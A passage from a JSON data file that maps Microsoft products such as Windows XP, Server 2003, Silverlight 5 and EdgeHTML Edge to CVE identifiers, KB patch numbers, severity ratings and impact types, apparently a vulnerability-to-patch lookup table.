Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Moderate","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2019":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (x64-based)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows 2000 Service Pack 4":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418241","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows XP":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code 